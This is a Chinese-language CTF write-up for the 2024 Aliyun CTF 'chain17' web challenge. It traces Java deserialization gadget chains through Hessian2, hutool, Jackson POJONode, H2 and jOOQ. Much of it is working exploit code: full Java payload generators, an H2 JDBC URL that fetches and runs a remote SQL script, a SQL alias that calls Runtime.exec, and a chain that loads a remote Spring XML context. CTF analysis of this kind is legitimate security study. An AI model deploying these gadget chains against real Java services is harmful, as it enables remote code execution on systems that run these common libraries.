2024阿里云ctf-web-chain17学习

agent

jdk17依赖有h2思路清晰打jdbc attack

<dependency>  
    <groupId>org.springframework.boot</groupId>  
    <artifactId>spring-boot-starter-web</artifactId>  
</dependency>  

<!-- https://mvnrepository.com/artifact/com.alibaba/hessian-lite -->  
<dependency>  
    <groupId>com.alibaba</groupId>  
    <artifactId>hessian-lite</artifactId>  
    <version>3.2.13</version>  
</dependency>  

<dependency>  
    <groupId>cn.hutool</groupId>  
    <artifactId>hutool-all</artifactId>  
    <version>5.8.16</version>  
</dependency>  

<!-- https://mvnrepository.com/artifact/com.h2database/h2 -->  
<dependency>  
    <groupId>com.h2database</groupId>  
    <artifactId>h2</artifactId>  
    <version>2.2.224</version>  
</dependency>

项目
Deserial_Sink_With_JDBC
jdbc-attack
fork了一个师傅的github
发现没有
su18

H2 RCE
Spring Boot H2 console,by changing the connection url of h2 database,we can make spring boot run script from the remote.
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'
And then prepare a statemate something like below to declare and call the Runtime.getRuntime().exec():
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CALL EXEC ('open -a Calculator.app')

看到了h2 rce

String connectionUrl = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8001/poc.sql'";  
// getConnection 触发漏洞  
Connection connection = DriverManager.getConnection(connectionUrl);  
connection.close();

安装h2数据库
h2数据库
python -m http.server 8001

CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CALL EXEC ('calc')

可以拿到calc
使用codeql查询sink

使用尝试

还有一个把cn.h2%修改为cn.hutool%，找到

String connectionUrl = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8001/poc.sql'";
        Setting setting = new Setting();
        setting.setCharset(null);
        setting.set("url",connectionUrl);
        Unsafe unsafe = UnSafeTools.getUnsafe();
        PooledDSFactory pooledDSFactory = (PooledDSFactory) unsafe.allocateInstance(PooledDSFactory.class);
        UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("setting"),setting);
        UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("dsMap"),new SafeConcurrentHashMap<>());

这样就查找能触发到toString的类来触发jackson的getter去调用getConnection
由于是hessian反序列化会触发map的put方法，
我们寻找一条到pojonode#toString的链子， 但是Hessian 的反序列化受module的影响，但是原生的反序列化并不受module 的影响，所以hessian后面就要用到Bean的原生反序列化了
发现codeql显示能调用到但是

 有限制，我们查找不继承这些接口的toString能触发pojonode#toString的方法，而且必须是jdk原生类
不然这个就满足了MutableObj
String#valueof和Object都满足
这样即可找到

确实可以触发
所以就是hessian2#readObject->AtomicReference#toString->String#valueof->POJONode#toString->h2的jdbc attack
使用codeql查找

hessian反序列化漏洞，是map反序列化，当他的_type不是null，且不是map和sortedMap时候，调用构造函数实例化

这时候生成了一个JSONObject变量，但是值为空

可以看到map将值put进去了两次反序列化
所以我们可以理解为，第一段Hessian2先创建一个JSONObject，
然后将两次反序列化的值作为key和value值
如何指定hessian2创建JSONObject呢

hessian2反序列化的序列化函数可以传入指定类型进去，并且设置this.buffer[this.offset++]是77这样反序列化的时候就会获取_type值为77
但是writeType有条件限制

private void writeType(String type) throws IOException {  
    this.flushIfFull();  
    int len = type.length();  
    if (len == 0) {  
        throw new IllegalArgumentException("empty type is not allowed");  
    } else {  
        if (this._typeRefs == null) {  
            this._typeRefs = new HashMap();  
        }  

        Integer typeRefV = (Integer)this._typeRefs.get(type);  
        if (typeRefV != null) {  
            int typeRef = typeRefV;  
            this.writeInt(typeRef);  
        } else {  
            this._typeRefs.put(type, this._typeRefs.size());  
            this.writeString(type);  
        }  

    }  
}

在HashMap里面push了一个type进去

这时候反序列化

调用了this.read()

public final int read() throws IOException {  
    return this._length <= this._offset && !this.readBuffer() ? -1 : this._buffer[this._offset++] & 255;  
}  

private final boolean readBuffer() throws IOException {  
    byte[] buffer = this._buffer;  
    int offset = this._offset;  
    int length = this._length;  
    if (offset < length) {  
        System.arraycopy(buffer, offset, buffer, 0, length - offset);  
        offset = length - offset;  
    } else {  
        offset = 0;  
    }  

    int len = this._is.read(buffer, offset, 256 - offset);  
    if (len <= 0) {  
        this._length = offset;  
        this._offset = 0;  
        return offset > 0;  
    } else {  
        this._length = offset + len;  
        this._offset = 0;  
        return true;  
    }  
}

读取缓冲区的值当this.readBuffer返回值为true的时候调用
this._buffer[this._offset++] & 255;
所以_offset这时候就为1

因为上面的writeBeginMap将tag设置为了77
通过readType读取

由于_offset为1，所以值是25
将offset-1，这时候offset读取就从2变成了1

 

 在进入读取

这时候tag值就为25，_offset值就为2

设置_sbuf的长度为0，设置_chunkLength长度为25，也就是cn.hutool.json.JSONObject的长度
所以后面就是从buf的25长度后面读25个字节，也就是把Type读出来cn.hutool.json.JSONObject
这时候我们知道如何指定type了，继续跟着往后面走

case 77:  
    type = this.readType();  
    return this.findSerializerFactory().readMap(this, type);

public Object readMap(AbstractHessianInput in, String type, Class<?> expectKeyType, Class<?> expectValueType) throws HessianProtocolException, IOException {  
    Deserializer deserializer = this.getDeserializer(type);  
    if (deserializer != null) {  
        return deserializer.readMap(in);  
    } else if (this._hashMapDeserializer != null) {  
        return this._hashMapDeserializer.readMap(in, expectKeyType, expectValueType);  
    } else {  
        this._hashMapDeserializer = new MapDeserializer(HashMap.class);  
        return this._hashMapDeserializer.readMap(in, expectKeyType, expectValueType);  
    }  
}

进入了这边， this.getDeserializer(type)获取了类型的反序列化
也就是获取了

当类型

public Object readMap(AbstractHessianInput in, Class<?> expectKeyType, Class<?> expectValueType) throws IOException {  
    Object map;  
    if (this._type == null) {  
        map = new HashMap();  
    } else if (this._type.equals(Map.class)) {  
        map = new HashMap();  
    } else if (this._type.equals(SortedMap.class)) {  
        map = new TreeMap();  
    } else {  
        try {  
            map = (Map)this._ctor.newInstance();  
        } catch (Exception var6) {  
            throw new IOExceptionWrapper(var6);  
        }  
    }  

    in.addRef(map);  
    this.doReadMap(in, (Map)map, expectKeyType, expectValueType);  
    in.readEnd();  
    return map
    }

这样就能newInstance了
在newInstance后调用了

this.doReadMap(in, (Map)map, expectKeyType, expectValueType);

in.isEnd()将buffer读取到了

也就是读完类名的值，也就是8，8也就是我们key的长度，再次反序列化，将offset的值就到
value反序列化开始的地方

获取到我们输入的key
 再次反序列化获取我们的value，就是走正常反序列化了
JSONObject调用put

然后JSONObject调用set

到最后调用到这个

public JSONObject set(String key, Object value, Filter<MutablePair<String, Object>> filter, boolean checkDuplicate) throws JSONException {  
    if (null == key) {  
        return this;  
    } else {  
        if (null != filter) {  
            MutablePair<String, Object> pair = new MutablePair(key, value);  
            if (!filter.accept(pair)) {  
                return this;  
            }  

            key = (String)pair.getKey();  
            value = pair.getValue();  
        }  

        boolean ignoreNullValue = this.config.isIgnoreNullValue();  
        if (ObjectUtil.isNull(value) && ignoreNullValue) {  
            this.remove(key);  
        } else {  
            if (checkDuplicate && this.containsKey(key)) {  
                throw new JSONException("Duplicate key \"{}\"", new Object[]{key});  
            }  

            super.put(key, JSONUtil.wrap(InternalJSONUtil.testValidity(value), this.config));  
        }  

        return this;  
    }  
}

调用了Object的toString也就是，

调用他的get函数
返回值也就是POJONode

String.ValueOf也就调用了value的toString

所以我们的思路就是

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();  
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);  

hessian2Output.writeMapBegin(JSONObject.class.getName());  
hessian2Output.writeObject("whatever");

POJONode pojoNode = new POJONode(bean);  

Object object = new AtomicReference<>(pojoNode);
hessian2Output.writeObject(object);  
hessian2Output.writeMapEnd();  
hessian2Output.close();

这样就能触发pojonode
所以payload就是

package com.aliyunctf.agent;
import cn.hutool.core.map.SafeConcurrentHashMap;
import cn.hutool.db.ds.pooled.PooledDSFactory;
import cn.hutool.json.JSONObject;
import cn.hutool.setting.Setting;
import com.alibaba.com.caucho.hessian.io.Hessian2Input;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import com.aliyunctf.agent.other.Bean;
import com.fasterxml.jackson.databind.node.POJONode;
import com.n1ght.serial.SerialTools;
import com.n1ght.unsafe.UnSafeTools;
import sun.misc.Unsafe;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.util.Base64;
import java.util.concurrent.atomic.AtomicReference;

public class Main {
    public static void main(String[] args) throws Exception {
//--add-opens java.base/java.math=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED --add-opens java.base/java.security=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED
        String connectionUrl = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8001/poc.sql'";
        Setting setting = new Setting();
        setting.setCharset(null);
        setting.set("url",connectionUrl);
        Unsafe unsafe = UnSafeTools.getUnsafe();
        PooledDSFactory pooledDSFactory = (PooledDSFactory) unsafe.allocateInstance(PooledDSFactory.class);
        UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("setting"),setting);
        UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("dsMap"),new SafeConcurrentHashMap<>());
        Bean bean = new Bean();
        UnSafeTools.setObject(bean,Bean.class.getDeclaredField("data"), Base64.getDecoder().decode(SerialTools.base64Serial(pooledDSFactory)));
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
        hessian2Output.writeMapBegin(JSONObject.class.getName());
        hessian2Output.writeObject("whatever");
        POJONode pojoNode = new POJONode(bean);
        Object object = new AtomicReference<>(pojoNode);
        hessian2Output.writeObject(object);
        hessian2Output.writeMapEnd();
        hessian2Output.close();

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        Hessian2Input hessian2Input = new Hessian2Input((InputStream)byteArrayInputStream);
        hessian2Input.readObject();
    }
}

但是为什么jackson的toString触发getObject后，就能再次触发PooledDSFactory的getter
BeanSerializerBase#serializeFields

在这边看到了BeanPropertyWriter#serializeAsField

Object value = this._accessorMethod == null ? this._field.get(bean) : this._accessorMethod.invoke(bean, (Object[])null);
        if (value == null) {
            if (this._suppressableValue == null || !prov.includeFilterSuppressNulls(this._suppressableValue)) {
                if (this._nullSerializer != null) {
                    gen.writeFieldName(this._name);
                    this._nullSerializer.serialize((Object)null, gen, prov);
                }

            }
        } else {
            JsonSerializer<Object> ser = this._serializer;
            if (ser == null) {
                Class<?> cls = value.getClass();
                PropertySerializerMap m = this._dynamicSerializers;
                ser = m.serializerFor(cls);
                if (ser == null) {
                    ser = this._findAndAddDynamic(m, cls, prov);
                }
            }

            if (this._suppressableValue != null) {
                if (MARKER_FOR_EMPTY == this._suppressableValue) {
                    if (ser.isEmpty(prov, value)) {
                        return;
                    }
                } else if (this._suppressableValue.equals(value)) {
                    return;
                }
            }

            if (value != bean || !this._handleSelfReference(bean, gen, prov, ser)) {
                gen.writeFieldName(this._name);
                if (this._typeSerializer == null) {
                    ser.serialize(value, gen, prov);
                } else {
                    ser.serializeWithType(value, gen, prov, this._typeSerializer);
                }

            }
        }

当获取值后，对value再次进行序列化

Object value = this._accessorMethod == null ? this._field.get(bean) : this._accessorMethod.invoke(bean, (Object[])null);
//这边就是getter后的值

也就是调用getObject后获取的值
然后对他获取的值再次进行序列化也就再次走到了这

也就是调用了PooledDSFactory的getConnection

我们之前上面找的JdbcDataSource有问题，我修改了什么地方让他成功呢

问题就在

有debug问题，fastjson的序列化问题是
Error: java.io.NotSerializableException: org.h2.jdbcx.JdbcDataSourceFactory
这样导致trace设置不了，debugCodeCall会进行判断，导致无法执行connect
所以我们使用

H2DataSource jdbcDataSource = (H2DataSource) unsafe.allocateInstance(H2DataSource.class);

unsafe.allocateInstance实例化这样不会带不可序列化的数据，我们set即可
我重写的类

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.aliyunctf.agent;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.PrintWriter;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.sql.Connection;
import java.sql.SQLException;
import java.util.Properties;
import java.util.logging.Logger;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.DataSource;
import javax.sql.PooledConnection;
import javax.sql.XAConnection;
import javax.sql.XADataSource;
import org.h2.jdbc.JdbcConnection;
import org.h2.jdbcx.JdbcDataSourceBackwardsCompat;
import org.h2.jdbcx.JdbcDataSourceFactory;
import org.h2.jdbcx.JdbcXAConnection;
import org.h2.message.DbException;
import org.h2.message.Trace;
import org.h2.message.TraceObject;
import org.h2.message.TraceSystem;
import org.h2.util.StringUtils;

public final class H2DataSource extends TraceObject implements XADataSource, DataSource, ConnectionPoolDataSource, Serializable, Referenceable, JdbcDataSourceBackwardsCompat {
    private static final long serialVersionUID = 1288136338451857771L;
    private  JdbcDataSourceFactory factory;
    private transient PrintWriter logWriter;
    private int loginTimeout;
    private String userName = "";
    private char[] passwordChars = new char[0];
    private String url = "";
    private String description;
    private Trace trace;

    public Trace getTrace() {
        return trace;
    }

    public void setTrace(Trace trace) {
        this.trace = trace;
    }

    public H2DataSource(){
        this.initFactory();
        int var1 = getNextId(12);
        this.setTrace(trace, 12, var1);
    }

    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        this.initFactory();
        var1.defaultReadObject();
    }

    private void initFactory() {
        this.factory = new JdbcDataSourceFactory();
    }

    public int getLoginTimeout() {
        return this.loginTimeout;
    }

    public void setLoginTimeout(int var1) {
        this.loginTimeout = var1;
    }

    public PrintWriter getLogWriter() {
        return this.logWriter;
    }

    public void setLogWriter(PrintWriter var1) {
        this.debugCodeCall("setLogWriter(out)");
        this.logWriter = var1;
    }

    public Connection getConnection() throws SQLException {
        return new JdbcConnection(this.url, (Properties)null, this.userName, StringUtils.cloneCharArray(this.passwordChars), false);
    }

    public Connection getConnection(String var1, String var2) throws SQLException {
        if (this.isDebugEnabled()) {
            this.debugCode("getConnection(" + quote(var1) + ", \"\")");
        }

        return new JdbcConnection(this.url, (Properties)null, var1, var2, false);
    }

    public String getURL() {
        this.debugCodeCall("getURL");
        return this.url;
    }

    public void setURL(String var1) {
        this.url = var1;
    }

    public String getUrl() {
        this.debugCodeCall("getUrl");
        return this.url;
    }

    public void setUrl(String var1) {
        this.debugCodeCall("setUrl", var1);
        this.url = var1;
    }

    public void setPassword(String var1) {
        this.debugCodeCall("setPassword", "");
        this.passwordChars = var1 == null ? null : var1.toCharArray();
    }

    public void setPasswordChars(char[] var1) {
        if (this.isDebugEnabled()) {
            this.debugCode("setPasswordChars(new char[0])");
        }

        this.passwordChars = var1;
    }

    private static String convertToString(char[] var0) {
        return var0 == null ? null : new String(var0);
    }

    public String getPassword() {
        this.debugCodeCall("getPassword");
        return convertToString(this.passwordChars);
    }

    public String getUser() {
        this.debugCodeCall("getUser");
        return this.userName;
    }

    public void setUser(String var1) {
        this.debugCodeCall("setUser", var1);
        this.userName = var1;
    }

    public String getDescription() {
        this.debugCodeCall("getDescription");
        return this.description;
    }

    public void setDescription(String var1) {
        this.debugCodeCall("getDescription", var1);
        this.description = var1;
    }

    public Reference getReference() {
        this.debugCodeCall("getReference");
        String var1 = JdbcDataSourceFactory.class.getName();
        Reference var2 = new Reference(this.getClass().getName(), var1, (String)null);
        var2.add(new StringRefAddr("url", this.url));
        var2.add(new StringRefAddr("user", this.userName));
        var2.add(new StringRefAddr("password", convertToString(this.passwordChars)));
        var2.add(new StringRefAddr("loginTimeout", Integer.toString(this.loginTimeout)));
        var2.add(new StringRefAddr("description", this.description));
        return var2;
    }

    public XAConnection getXAConnection() throws SQLException {
        this.debugCodeCall("getXAConnection");
        return null;
    }

    public XAConnection getXAConnection(String var1, String var2) throws SQLException {
        if (this.isDebugEnabled()) {
            this.debugCode("getXAConnection(" + quote(var1) + ", \"\")");
        }

        return null;
    }

    public PooledConnection getPooledConnection() throws SQLException {
        this.debugCodeCall("getPooledConnection");
        return this.getXAConnection();
    }

    public PooledConnection getPooledConnection(String var1, String var2) throws SQLException {
        if (this.isDebugEnabled()) {
            this.debugCode("getPooledConnection(" + quote(var1) + ", \"\")");
        }

        return this.getXAConnection(var1, var2);
    }

    public <T> T unwrap(Class<T> var1) throws SQLException {
        try {
            if (this.isWrapperFor(var1)) {
                return (T) this;
            } else {
                throw DbException.getInvalidValueException("iface", var1);
            }
        } catch (Exception var3) {
            throw this.logAndConvert(var3);
        }
    }

    public boolean isWrapperFor(Class<?> var1) throws SQLException {
        return var1 != null && var1.isAssignableFrom(this.getClass());
    }

    public Logger getParentLogger() {
        return null;
    }

    public String toString() {
        return this.getTraceObjectName() + ": url=" + this.url + " user=" + this.userName;
    }
}

payload：

String connectionUrl = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8001/poc.sql'";

        Bean bean = new Bean();
//        Setting setting = new Setting();
//        setting.setCharset(null);
//        setting.set("url",connectionUrl);
        Unsafe unsafe = UnSafeTools.getUnsafe();
//        PooledDSFactory pooledDSFactory = (PooledDSFactory) unsafe.allocateInstance(PooledDSFactory.class);
//        UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("setting"),setting);
//        UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("dsMap"),new SafeConcurrentHashMap<>());
//        UnSafeTools.setObject(bean,Bean.class.getDeclaredField("data"), Base64.getDecoder().decode(SerialTools.base64Serial(pooledDSFactory)));

        H2DataSource jdbcDataSource = (H2DataSource) unsafe.allocateInstance(H2DataSource.class);

        jdbcDataSource.setURL(connectionUrl);
        jdbcDataSource.setLoginTimeout(5);

        Object o = SourceTools.getterJacksonProxy(jdbcDataSource, DataSource.class);
        UnSafeTools.setObject(bean,Bean.class.getDeclaredField("data"), Base64.getDecoder().decode(SerialTools.base64Serial(o)));

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
        hessian2Output.writeMapBegin(JSONObject.class.getName());
        hessian2Output.writeObject("whatever");
        POJONode pojoNode = new POJONode(bean);
        Object object = new AtomicReference<>(pojoNode);
        hessian2Output.writeObject(object);
        hessian2Output.writeMapEnd();
        hessian2Output.close();

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        Hessian2Input hessian2Input = new Hessian2Input((InputStream)byteArrayInputStream);
        hessian2Input.readObject();

这样拿取shell就可达到第二条，像第二条发送payload去打通
第二条的trace一直没加载进去，很奇怪，原生类序列化能不能打进去呢

之前继承的SimpleDSFactory也可以

package com.aliyunctf.agent;
import cn.hutool.core.map.SafeConcurrentHashMap;
import cn.hutool.db.ds.c3p0.C3p0DSFactory;
import cn.hutool.db.ds.druid.DruidDSFactory;
import cn.hutool.db.ds.jndi.JndiDSFactory;
import cn.hutool.db.ds.pooled.PooledDSFactory;
import cn.hutool.db.ds.simple.SimpleDSFactory;
import cn.hutool.db.ds.tomcat.TomcatDSFactory;
import cn.hutool.json.JSONObject;
import cn.hutool.setting.Setting;
import com.alibaba.com.caucho.hessian.io.Hessian2Input;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import com.aliyunctf.agent.other.Bean;
import com.fasterxml.jackson.databind.node.POJONode;
import com.n1ght.serial.SerialTools;
import com.n1ght.source.SourceTools;
import com.n1ght.unsafe.UnSafeTools;
import org.h2.jdbcx.JdbcDataSource;
import org.h2.jdbcx.JdbcDataSourceFactory;
import org.h2.message.Trace;
import org.h2.message.TraceObject;
import org.h2.message.TraceSystem;
import sun.misc.Unsafe;
import javax.sql.DataSource;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.concurrent.atomic.AtomicReference;

public class Main {
    public static void main(String[] args) throws Exception {
//--add-opens java.base/java.math=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED --add-opens java.base/java.security=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.desktop/javax.swing.undo=ALL-UNNAMED --add-opens java.desktop/javax.swing.event=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xpath.internal.objects=ALL-UNNAMED
        String connectionUrl = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8001/poc.sql'";

        Bean bean = new Bean();
        Setting setting = new Setting();
        setting.setCharset(null);
        setting.set("url",connectionUrl);
        Unsafe unsafe = UnSafeTools.getUnsafe();
        SimpleDSFactory pooledDSFactory = (SimpleDSFactory) unsafe.allocateInstance(SimpleDSFactory.class);
        UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("setting"),setting);
        UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("dsMap"),new SafeConcurrentHashMap<>());
        UnSafeTools.setObject(bean,Bean.class.getDeclaredField("data"), Base64.getDecoder().decode(SerialTools.base64Serial(pooledDSFactory)));



        UnSafeTools.setObject(bean,Bean.class.getDeclaredField("data"), Base64.getDecoder().decode(SerialTools.base64Serial(pooledDSFactory)));


        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
        hessian2Output.writeMapBegin(JSONObject.class.getName());
        hessian2Output.writeObject("whatever");
        POJONode pojoNode = new POJONode(bean);
        Object object = new AtomicReference<>(pojoNode);
        hessian2Output.writeObject(object);
        hessian2Output.writeMapEnd();
        hessian2Output.close();

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        Hessian2Input hessian2Input = new Hessian2Input((InputStream)byteArrayInputStream);
        hessian2Input.readObject();
    }
}

只有开了--add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED
可以成功

server

使用查找，分了两步

即可
payload

package com.aliyunctf.server;

import com.fasterxml.jackson.databind.node.POJONode;
import com.n1ght.reflect.ReflectTools;
import com.n1ght.serial.SerialTools;
import com.n1ght.unsafe.UnSafeTools;
import org.jooq.DataType;
import org.springframework.context.support.ClassPathXmlApplicationContext;

import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Vector;

public class Main {
    public static void main(String[] args) throws Exception {
        String url = "http://127.0.0.1:1234/poc.xml";

        Class clazz1 = Class.forName("org.jooq.impl.Dual");
        Constructor constructor1 = clazz1.getDeclaredConstructors()[0];
        constructor1.setAccessible(true);
        Object table = constructor1.newInstance();

        Class clazz2 = Class.forName("org.jooq.impl.TableDataType");
        Constructor constructor2 = clazz2.getDeclaredConstructors()[0];
        constructor2.setAccessible(true);
        Object tableDataType = constructor2.newInstance(table);

        Class clazz3 = Class.forName("org.jooq.impl.Val");
        Constructor constructor3 = clazz3.getDeclaredConstructor(Object.class, DataType.class, boolean.class);
        constructor3.setAccessible(true);
        Object val = constructor3.newInstance("whatever", tableDataType, false);

        Class clazz4 = Class.forName("org.jooq.impl.ConvertedVal");
        Constructor constructor4 = clazz4.getDeclaredConstructors()[0];
        constructor4.setAccessible(true);
        Object convertedVal = constructor4.newInstance(val, tableDataType);

        Object value = url;
        Class type = ClassPathXmlApplicationContext.class;

        UnSafeTools.setObject(val,val.getClass().getSuperclass().getDeclaredField("value"),value);
        UnSafeTools.setObject(tableDataType,tableDataType.getClass().getSuperclass().getDeclaredField("uType"),type);



        POJONode pojoNode = new POJONode(convertedVal);

        EventListenerList eventListenerList = new EventListenerList();
        UndoManager undoManager = new UndoManager();
        Vector vector = (Vector) ReflectTools.getFieldValue(undoManager, "edits");
        vector.add(pojoNode);
        ReflectTools.setFieldValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});

        String s = SerialTools.base64Serial(eventListenerList);
        System.out.println(s);
        SerialTools.base64DeSerial(s);

    }

}